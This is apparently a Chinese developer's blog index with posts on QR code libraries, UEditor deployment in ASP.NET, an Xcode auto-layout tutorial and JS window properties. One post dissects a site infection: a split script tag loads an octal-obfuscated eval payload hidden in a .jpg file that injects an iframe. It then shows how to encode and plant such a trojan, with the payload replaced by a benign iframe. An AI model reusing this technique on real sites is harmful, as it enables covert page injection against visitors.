博客 (26)


ThoughtWorks.QRCodeZXing.Net
生成方式以指定的码元大小、版本、模式、纠错级别等信息来确定最终生成的图片大小指定图片大小后,自动调整码元大小、出血*
关于图片尺寸不能直接确定最终生成的二维码图片的尺寸,可以先反向估算码元大小,再微调码元大小,直到不小于目标尺寸,如果必须严格限制尺寸,建议在 jpg 方式处理,因为 png 二维码的每个像素点非 0 即 1,在小尺寸的情况下会导致无法识别。(涉及到多次生成二维码,请斟酌性能消耗)生成二维码时即指定图片大小,但会留白,比较难以掌控实际效果
"BUG"右边和下边有多余 1 像素需要手动去除虽然可以设置参数 EncodeHintType.MARGIN,但还是没有达到预期的效果(网上有解析原因,请自行搜索)
……

*出血:为了提高二维码识别度,在生成的二维码四周留出若干码元(建议 4 个)空白。

更多

使用 ThoughtWorks.QRCode 生成二维码

使用 ZXing.Net 生成二维码







xoyozo 7 年前
6,322
项目尺寸(宽*高)
手机网页/应用iPhone 屏幕分辨率
X展架、易拉宝60cm x 160cm、80cm x 180cm 等
名片90mm x 55mm、85mm x 54mm
A4纸210mm x 297mm
三折页(A4)210mm x 285mm
LED显示屏单元板分辨率32 x 16(点距1cm的话就是32cm x 16cm)、64 x 32 等

 

xoyozo 8 年前
3,850

在 ASP.NET Core 或 ASP.NET 5 中部署百度编辑器请跳转此文


本文记录百度编辑器 ASP.NET 版的部署过程,对其它语言版本也有一定的参考价值。

【2020.02.21 重新整理】


下载

从 GitHub 下载最新发布版本:https://github.com/fex-team/ueditor/releases

按编码分有 gbk 和 utf8 两种版本,按服务端编程语言分有 asp、jsp、net、php 四种版本,按需下载。


目录介绍

以 v1.4.3.3 utf8-net 为例,

ueditor 目录结构.png


客户端部署

本例将上述所有目录和文件拷贝到网站目录 /libs/ueditor/ 下。

当然也可以引用 CDN 静态资源,但会遇到诸多跨域问题,不建议。

在内容编辑页面引入:

<script src="/libs/ueditor/ueditor.config.js"></script>
<script src="/libs/ueditor/ueditor.all.min.js"></script>

在内容显示页面引入:

<script src="/libs/ueditor/ueditor.parse.min.js"></script>

如需修改编辑器资源文件根路径,参 ueditor.config.js 文件内顶部文件。(一般不需要单独设置)

如果使用 CDN,那么在初始化 UE 实例的时候应配置 serverUrl 值(即 controller.ashx 所在路径)。


客户端配置

初始化 UE 实例:

var ue = UE.getEditor('tb_content', {
    // serverUrl: '/libs/ueditor/net/controller.ashx', // 指定服务端接收文件路径
    initialFrameWidth: '100%'
});

其它参数见官方文档,或 ueditor.config.js 文件。


服务端部署

net 目录是 ASP.NET 版的服务端程序,用来实现接收上传的文件等功能。

本例中在网站中的位置是 /libs/ueditor/net/。如果改动了位置,那么在初始化 UE 的时候也应该配置 serverUrl 值。

这是一个完整的 VS 项目,可以单独部署为一个网站。其中:

net/config.json  服务端配置文件
net/controller.ashx  文件上传入口
net/App_Code/CrawlerHandler.cs  远程抓图动作
net/App_Code/ListFileManager.cs  文件管理动作
net/App_Code/UploadHandler.cs  上传动作

该目录不需要转换为应用程序。


服务端配置

根据 config.json 中 *PathFormat 的默认配置,一般地,上传的图片会保存在 controller.ashx 文件所在目录(即本例中的 /libs/ueditor/)的 upload 目录中:
/libs/ueditor/upload/image/
原因是 UploadHandler.cs 中 Server.MapPath 的参数是由 *PathFormat 决定的。

修改 config.json 中的 imagePathFormat 为例:

原值:"imagePathFormat": "upload/image/{yyyy}{mm}{dd}/{time}{rand:6}"

改为:"imagePathFormat": "/upload/ueditor/{yyyy}{mm}{dd}/{time}{rand:6}"

以“/”开始的路径在 Server.MapPath 时会定位到网站根目录。

此处不能以“~/”开始,因为最终在客户端显示的图片路径是 imageUrlPrefiximagePathFormat,若其中包含符号“~”就无法正确显示。

在该配置文件中查找所有 PathFormat,按相同的规则修改。


说到客户端的图片路径,我们只要将

原值:"imageUrlPrefix": "/ueditor/net/"

改为:"imageUrlPrefix": ""

即可返回客户端正确的 URL。

当然也要同步修改 scrawlUrlPrefix、snapscreenUrlPrefix、catcherUrlPrefix、videoUrlPrefix、fileUrlPrefix。


特殊情况,在复制包含图片的网页内容的操作中,若图片地址带“?”等符号,会出现无法保存到磁盘的情况,需要修改以下代码:

打开  CrawlerHandler.cs 文件,找到

ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));

替换成:

ServerUrl = PathFormatter.Format(Path.GetFileName(SourceUrl.Contains("?") ? SourceUrl.Substring(0, SourceUrl.IndexOf("?")) : SourceUrl), Config.GetString("catcherPathFormat"));


如果你将图片保存到第三方图库,那么 imageUrlPrefix 值设为相应的域名即可,如:

改为:"imageUrlPrefix": "//cdn.***.com"

然后在 UploadHandler.cs 文件(用于文件上传)中找到

File.WriteAllBytes(localPath, uploadFileBytes);

在其下方插入上传到第三方图库的代码,以阿里云 OSS 为例:

// 上传到 OSS
client.PutObject(bucketName, savePath.Substring(1), localPath);

在 CrawlerHandler.cs 文件(无程抓图上传)中找到

File.WriteAllBytes(savePath, bytes);

在其下方插入上传到第三方图库的代码,以阿里云 OSS 为例:

// 上传到 OSS
client.PutObject(bucketName, ServerUrl.Substring(1), savePath);


最后有还有两个以 UrlPrefix 结尾的参数名 imageManagerUrlPrefix 和 fileManagerUrlPrefix 分别是用来列出上传目录中的图片和文件的,

对应的操作是在编辑器上的“多图上传”功能的“在线管理”,和“附件”功能的“在线附件”。

最终列出的图片路径是由 imageManagerUrlPrefiximageManagerListPath + 图片 URL 组成的,那么:

"imageManagerListPath": "/upload/ueditor/image",

"imageManagerUrlPrefix": "",

以及:

"fileManagerListPath": "/upload/ueditor/file",

"fileManagerUrlPrefix": "",

即可。

如果是上传到第三方图库的,且图库上的文件与本地副本是一致的,那么将 imageManagerUrlPrefix 和 fileManagerUrlPrefix 设置为图库域名,

服务端仍然以 imageManagerListPath 指定的路径来查找本地文件(非图库),但客户端显示图库的文件 URL。

因此,如果文件仅存放在图库上,本地没有副本的情况就无法使用该功能了。

综上,所有的 *UrlPrefix 应该设为一致。


另外记得配置不希望被远程抓图的域名,参数 catcherLocalDomain


服务端授权

现在来判断一下只有登录用户才允许上传。

首先打开服务端的统一入口文件 controller.ashx

继承类“IHttpHandler”改为“IHttpHandler, System.Web.SessionState.IRequiresSessionState”,即同时继承两个类,以便可使用 Session,
找到“switch”,其上插入:

if (用户未登录) { throw new System.Exception("请登录后再试"); }

即用户已登录或 action 为获取 config 才进入 switch。然后,

else
{
    action = new NotAllowedHandler(context);
}

这里的 NotAllowedHandler 是参照 NotSupportedHandler 创建的,提示语 state 可以是“登录后才能进行此操作。


上传目录权限设置

上传目录(即本例中的 /upload/ueditor/ 目录)应设置允许写入和禁止执行。


基本用法

设置内容:

ue.setContent("Hello world.");

获取内容:

var a = ue.getContent();

更多用法见官方文档:http://fex.baidu.com/ueditor/#api-common


其它事宜

配置上传附件的文件格式

找到文件:config.json,更改“上传文件配置”的 fileAllowFiles 项,

同时在 Web 服务器上允许这些格式的文件可访问权限。以 IIS 为例,在“MIME 类型”模块中添加扩展名。


遇到从客户端(......)中检测到有潜在危险的 Request.Form 值。参考此文


另外,对于不支持上传 .webp 类型的图片的问题,可以作以下修改:
config.json 中搜索“".bmp"”,替换为“".bmp", ".webp"
IIS 中选中对应网站或直接选中服务器名,打开“MIME 类型”,添加,文件扩展名为“.webp”,MIME 类型为“image/webp


最后,为了在内容展示页面看到跟编辑器中相同的效果,请参照官方文档引用 uParse

若有插入代码,再引用:
<link href="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCoreDefault.css" rel="stylesheet" />
<script src="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCore.js"></script>

其它插件雷同。


若对编辑器的尺寸有要求,在初始化时设置即可:

var ue = UE.getEditor('tb_content', {

  initialFrameWidth: '100%',
  initialFrameHeight: 320
});


图片等附件上传到阿里云 OSS 参考此文

xoyozo 9 年前
6,450

原文:http://mathewsanders.com/designing-adaptive-layouts-for-iphone-6-plus/
翻译:叮当当咚当当小胖妞呀

从IOS6开始,苹果公司就一直建议我们使用自适应布局,但是迄今为止,我发现大家都在回避这个问题,考虑的最多的仍然是固定布局。

iPhone 6的上市让人们很难再去逃避自适应布局这个问题,四种屏幕尺寸(如果要支持iPad就要上升到5种)、三种分辨率和转向似乎让着手于自适应布局变得更加简单。

在文章的最后,你应该能流畅使用 storyboards、 约束(constraints)和 size class特性,这三个是Apple为开发和制作自适应布局提供的Xcode工具。

所以下载Xcode6,给自己来杯饮料,留上一个小时的时间,让我们开始吧!

  • Storyboards
    • 模拟尺寸
  • 约束
    • 头部和尾部空间
    • 横向空间约束
    • 同等宽度约束
    • 纵横比约束
    • 约束管理
      • 添加约束
      • 检查和编辑现有约束
      • 删除约束
    • 布局问题和冲突
      • 错位视图警告
      • 约束缺失错误
  • Size Classes
    • 宽度和高度特性
    • 我们的目标…
    • 为通用的size class添加约束
    • 为iPhone纵向布局添加约束
    • 为iPhone横向布局添加约束
    • 编辑助手:设备预览
    • 为iPad布局添加约束
  • 使用布局和间隔视图
    • 布局视图样例
    • 间隔视图样例
  • 下一步

Storyboards

Xcode中,storyboards可以让你在屏幕上拖动和放置原生对象(例如按钮、图片、文本框和标签)并且定义每个屏幕之间如何连接。

在Xcode专业术语中,可以看到、摸到、互动的用户界面元素,我们称之为 视图(按钮、图片、文本框、标签等等)。

包含并管理所有那些视图的屏幕被称为 视图控制器,我倾向于交替使用这些术语。

当我们在一个storyboard上添加视图控制器的时候,它的纵横比其实跟任何设备都不匹配,事实上,它是一个完美的600pt*600pt的正方形:

这提醒了我们,storyboard屏幕并不代表特定硬件上的屏幕,而是 任何IOS设备的抽象表现。

模拟尺寸

也许你不介意在600pt*600pt的画布上操作,但是在实际大小上操作可能会更有帮助。

我们可以非常方便的在Xcode里改变视图控制器模拟的尺寸和转向:

约束

向你们展示约束的最好方法是实例。

我们先创建一个简单的包含一个屏幕的storyboard(模拟4英寸iPhone的尺寸),再添加两个相邻的正方形。

当我们在竖屏中运行app的时候,这两个正方形完全按照我们的布局排列,当我们变成横屏时,它们仍然忠于自己的坐标:

当我们使用iPhone 6模拟器运行项目的时候,我们可以再一次看到,我们的布局并没有自适应不同的屏幕尺寸,屏幕右边多出了可见的空白区域。

这是由于没有约束,这些对象仍然会按照我们在storyboard上创建的x,y坐标和面积来定位。

所以让我们开始添加约束,看看会对它们有些什么影响。

头部和尾部空间

我们在蓝色方块前添加10pt的头部空间约束,在红色方块后添加10pt的尾部空间约束。

当我们运行项目的时候,约束把蓝色方块固定在屏幕左侧,把红色方块固定在右侧。

横向空间约束

我们在两个方块之间再添加一个10pt的横向空间约束,就像上一个约束一样,这样会让两个方块之间有一个固定的空间。

当我们运行项目的时候,会发现一个意料之外的结果:我们所有的约束都满足了,但是为了满足所有约束,其中一个方块被拉伸了。

这似乎告诉我们这样一件事:除非被告知,否则IOS会尽量让大多数对象都保持“自然”大小。

同等宽度约束

我们添加一个同等宽度约束。

当运行项目的时候,我们可以看到两个方块宽度的增量相同。

纵横比约束

最后,对两个方块添加纵横比约束。

这个约束保证了宽度和高度的比永远是相同的。

当我们运行app的时候,我们可以看到每个方块的宽度在增加,高度也同时在增加。

用iPhone 6模拟器运行项目,覆盖我们之前添加过的约束,你可以看到这两个正方形是如何利用可用空间来拉伸的。

约束管理

现在你已经看到了我们是如何使用约束的,下面我们来介绍一下具体操作。

提示:尽量少使用约束

添加约束的一个要点是试着挑战自己,越少使用约束越好。

虽然我并不认为添加的约束数量能够很大程度上影响IOS的性能,但是越少的使用约束,你的布局就会越好维护。

添加约束

在storyboard中添加约束有三个方法:

  1. 约束弹窗也许最好的方法就是选择一个或多个对象,从其中一个弹窗中添加约束。我认为这是个很好的方法,因为可以看到现有约束的范围。如果有一条约束不可用,可能就意味着你需要两个或更多对象来实施这条约束。
  2. ctrl + 拖动你可以按住ctrl键,同时拖动到一个对象上(可以是相邻对象、父级对象或者是自身),会出现一个浮层告诉你可以被添加的约束有哪些。这是我最喜欢的添加约束的方法,因为你不需要把你的鼠标移动到大老远的底部再回到对象。
  3. 菜单/绑定你也可以选择一个或多个对象,在菜单中点击 editor -> pin来选择约束,这其实是最没有效率的方法,但是如果你发现自己不停的重复添加一种约束,也许为一个或多个选项添加绑定更合理一点。

检查和编辑现有约束

检查视图中应用的约束最简单的办法就是选择视图,切换到Size检查面板。

或者在文档大纲层次面板中切换constant数值。

无论是哪种方法,选择约束可以让你直接更新它。

删除约束

同样的,约束也可以通过高亮+点击删除按钮来删除。

要删除一个视图的所有约束,或者屏幕中的所有约束,在布局问题弹窗中有一条捷径:

布局问题和冲突

当我们在storyboard中添加约束的时候,Xcode总会给出一些关于这些约束的警告或者错误。

有时候这些问题可以忽略不计,但是更多的时候,它们必须被解决。

查看约束警告和错误最好在文档大纲面板中,每个视图控制器会有一个红色或者黄色的icon来表示是不是有布局问题:

错位视图警告

一个比较常见的警告是错位视图警告,如果约束规定这个视图应该在的地方,和这个视图实际在的地方不匹配,那么这种警告随时会出现。

当你转换模拟尺寸或者不小心用鼠标移动了一个视图,这些警告也会出现。

点击一个错位的视图,屏幕上会出现一个虚线框,告诉你约束规定了这个视图应该在的位置。

如果点击警告,会出现一个带有几个选项的浮层,你可以选择让Xcode更新约束来匹配storyboard上的位置,也可以让Xcode更新框架来移动或者拉伸视图,使它们回到约束规定的位置。

缺失约束错误

让我们回到一开始蓝方块和红方块的例子,我们没有添加过一个关于纵向位置的约束,但当我们运行app的时候看起来完全没问题,因为IOS会认为纵向位置就是我们在storyboard上放置的位置,不过为了避免一些意料之外的行为,我们最好还是规定一下。

在 顶部布局向导添加顶部空间约束可以消除一些说不定道不明的约束和错误。

Size Classes

为了在大多数基础布局或者更高级的布局上使用约束,你需要同时使用size classes。

Size classes是一种能够告诉你物理设备宽度和高度的特性。

当我们在storyboard的屏幕上添加对象或者约束时,只有设备符合当前的宽高特性,对象才会显现,约束才会被应用。

这是一个非常有用的方法,它让我们确定了不同设备和转向下布局的变化。

高度和宽度特性

使用 紧凑(compact)、 任意(any)和 正常(regular)这三种的组合,可以让我们确定一些范围内的设备布局。

虽然不能涉及每一个变化(比如不能确定iPhone 6 Plus的竖向模式,也不能让iPad的转向消失),但是大多数的变化都可以确定。

我们说过,介绍size classes最简单的方法是实例,所以让我们看一个例子。

我们的目标…

作为例子,我们做一个Instagram详情页的简单版本,可以适应大屏和转向。

我们的目标是创建一个布局,它可以机智的适应更大的iPhone 6设备(我说的机智,是指只有照片会放大,其他的元素如头像照片仍然不变),并且当设备横屏的时候,图片和元数据会并肩排列,而不是像竖屏时的上下排列。

为通用的size class添加约束

跟之前的例子不同,这次我们不使用模拟尺寸度量,我们使用通用size class的抽象方形布局,这样会使我们记住,为这个size class添加的任何视图和约束,只能是那些添加在任意屏幕尺寸和转向上的视图和约束。

我们需要用到这些约束:

除了必要的空间、间隙和纵横比约束,我们还需要让某些对象排列在顶部或者底部。

现在,在你的storyboard上添加视图和约束吧。做这步的时候,我的storyboard长这样:

注意,现在我们有了所有转向上所需要的元素,但是我没有费心完成每个转向上的布局,下一步我们才会做!

为iPhone纵向布局添加约束

现在,我们把size class切换到 紧凑宽度和 正常高度,这个尺寸特性的组合适用于任何竖屏下的iPhone设备。

如果要切换size classes,点击storyboard中下方的size class标签,选择你想要看到的宽高组合。

注意,当你切换size class时,视图控制器的尺寸会更新来显示新的抽象布局。

最后,你可以重新定位、拉伸视图和添加竖屏上的约束了。这里有一些我添加到竖向布局上的约束:

这是我做到这步时,我的storyboard的样子:

在这个阶段,你可以用任何的iPhone模拟器(3.5、4、4.7或者5.5英寸屏幕)来运行你的项目,看看竖屏情况下的布局是否合理,虽然如果转向成横屏时,布局看上去会一团糟。

注意,我们没有固定图片的宽度,我们只是简单地把图片的左右边缘固定在屏幕两侧。当变为更大的iPhone 6屏幕尺寸时,图片会被拉伸,又因为我们添加了一个固定图片纵横比的约束,所以高度也会同时增加。

为iPhone横向布局添加约束

现在切换size class到 任意宽度和 紧凑高度,这种尺寸特性的组合适用于任何横屏下的iPhone设备,并且会为了满足横屏视图下的目标更新布局。

这次,图片的顶部、左边和底部边缘都被固定在父级视图的边缘。

这个局部另一个有意思的地方是,在评论标签上添加的尾部空间约束。

当图片的约束使得图片变大的时候,这个标签上的约束会使得自身变窄。为了适应这种视图下的文本,文本高度需要增加到两行——的确如此!

下图是我做到这步时storyboard的样子。注意,在文档大纲中,一些约束会稍稍渐隐,这些约束是在竖向视图中我们添加的,它们仍然存在,但是当我们选中当前的宽高特性时,它们不会被应用。

也要注意,当你转换宽高特性时,storyboard会更新以便显示你为那些特性增加的约束。太棒了!

现在运行项目,我们会发现当转向改变时,我们有了一个既适用于横屏又适用于竖屏的布局,更棒的是在转向时,会有一个完美的过渡动画。

我把整个过渡动画放慢,这样你们能看的更加清楚。注意动画中也有层级关系,正由于此,即使在正常布局下视图并没有重叠,我们也需要考虑如何安排视图的层级关系……

编辑助手:设备预览

Xcode另外一个很有用的东西:设备预览助手。你不再需要无数次运行项目来检查你的布局是否正确,你只需要使用编辑助手storyboard预览,选择你想要的所有设备和转向就可以了。

这并不是完美的(比如导航条的颜色在这个例子中缺失了),但是它却是一个很好地选择,它可以让你把你自己的语言切换到双倍长度伪语言,可以在你的storyboard中重复任何文本。

这是我storyboard上的预览助手,它展示了一个3.5英寸横屏和4英寸竖屏的iPhone,你可以看到我还需要再加工加工来适应更长的标签……-_-

为iPad布局添加约束

现在,切换size classes到 正常宽度和 正常高度,这是iPad横屏和竖屏的特性。

就像之前一样,我们重新定位、拉伸我们的视图。对于iPad布局,我决定使用固定尺寸的图片(所以它不会像在iPhone上那样切换横竖屏时会改变大小),元数据都显示在图片底部。

下图是我在重新排列视图并添加了约束之后的storyboard:

到现在为止,我们为某些特别的size class特性添加了约束,但是现在我们要尝试些不同的东西。

由于iPad上会有多余的空间,我们不要仅仅只是重排视图,让我们来加一点额外的内容。对于这个例子来说,我们再加两张图片(也许是在这张主照片之前和之后拍摄的照片)。

这是我的storyboard更新之后的样子:

我原本可以手动输入这些次级图片的宽高,但我没有,取而代之的是我让它们的尺寸变成主图片的某个比例。

这样做的好处是如果我们决定改变主图片的尺寸,布局的其他部分会自动的计算并且更新次级图片的宽高,而不用我们手动输入。

这是一张我截的图,我改变了主图片的宽度约束,可以看到其他的部分也随之更新了。

我没有在iPad模拟器上运行项目并截屏,不过这里有一些横屏和竖屏的效果图:

使用布局和间隔视图

Xcode中有些约束我们可以随时运用,但是对于一些些常见的布局,我们需要一点帮助。

布局视图样例

要把一个视图的边缘固定在父级视图的边缘,或者把它固定在父级视图的正中心是件很简单的事情,~~但是我没有发现简便的方法,让视图固定在离正中心有一段固定距离的地方。~~感谢Jeff Nouwen指出,在把视图固定在中间后,你可以改变constant值来达到你的期望。

理论上来说,我们需要的是一个‘ 中心排列导向’,即任何视图都能水平和垂直居中与父级视图中:

为了实现这个目标,通过现在我们可以使用的约束,我们把我们的视图嵌入一个外层视图(这个外层视图没有背景色,只是为了帮助我们布局而存在),可以把它定位在父级视图的中间。

通过这个方法,你的约束看起来可能像这样:

现在我比较喜欢让我的布局层级尽量平。另外一个不使用外层视图的方法,我叫它 布局视图

使用这种方法,我倾向于在storyboard中添加一个颜色明亮的视图,然后把它的hidden属性设置为true,你仍然可以在storyboard布局中看到它(虽然稍稍渐隐),但是运行模拟器的时候它不会出现。

现在你在你的视图和布局视图中可以添加 居中排列(align center to center)

间隔视图样例

之前我们看到了我们是如何固定视图边缘到父级视图边缘的间隙,使得当父级视图变大时,间隙约束也会让视图变大。

但是如果我们想要视图仍然保持原来的大小,在父级视图变大时,视图之间的间隙也变大呢?

理论上来说,我们想要某种类似 同等宽度约束的约束,只不过同等宽度约束是作用在视图上,我们想让它作用在约束上。

此时我们需要添加 间隔视图来帮助我们布局,但由于我们不想在运行app时看到它们,我们会把它们的hidden属性设置为true

使用这项技术的方法,是为每一个你想要等比增长的间隙添加一个间隔视图,把其他视图的边缘固定在间隔视图的边缘上,然后为所有的间隔视图添加 同等宽度约束

下一步

现在希望你们已经完全有信心开始探索应用约束的布局了。

不要指望能即刻成功,Xcode是一个非常复杂的工具,除了storyboard和约束之外它还有很多其他功能,有些功能刚开始使用会觉得很神秘和困惑。就像其他复杂的工具一样,在你熟悉它的怪癖之前你还需要一段适应时间,但是我建议你尽早的去熟悉它,因为我预计(至少我希望)下一代设计师会更多地使用Xcode这样的工具而非Photoshop。

如果你是一位创建设计规范的设计师,并想让IOS开发者遵循你的规范,你应该开始考虑和你的设计团队沟通的最好方法。也许你会创建一个视觉语言来描述你想要应用的约束。

我个人认为,设计师应该更多地承担一些他们创建工作上的责任,而不是让一个前端开发人员重新创建设计意图,而设计师只是管理storyboard文件。

如果你发现这个教程上有任何难以理解的地方,或者有错误的敌方,请让我知道,我会尽快更新这篇文章。

转自 携程设计委员会 10 年前
4,993
探索

今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)

document.write('<iframe src=https://xoyozo.net></iframe>')

至此,整个流程已非常清晰了。

JS 相关函数

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别:

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
为我所用

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。

xoyozo 15 年前
5,412
网页可见区域宽:document.documentElement.clientWidth  
网页可见区域高:document.documentElement.clientHeight  
网页可见区域宽:document.documentElement.offsetWidth (包括边线的宽)  
网页可见区域高:document.documentElement.offsetHeight (包括边线的宽)  
网页正文全文宽:document.documentElement.scrollWidth  
网页正文全文高:document.documentElement.scrollHeight  
网页被卷去的高:document.documentElement.scrollTop  
网页被卷去的左:document.documentElement.scrollLeft  
网页正文部分上:window.screenTop  
网页正文部分左:window.screenLeft  
屏幕分辨率的高:window.screen.height  
屏幕分辨率的宽:window.screen.width  
屏幕可用工作区高度:window.screen.availHeight  
屏幕可用工作区宽度:window.screen.availWidth
4,604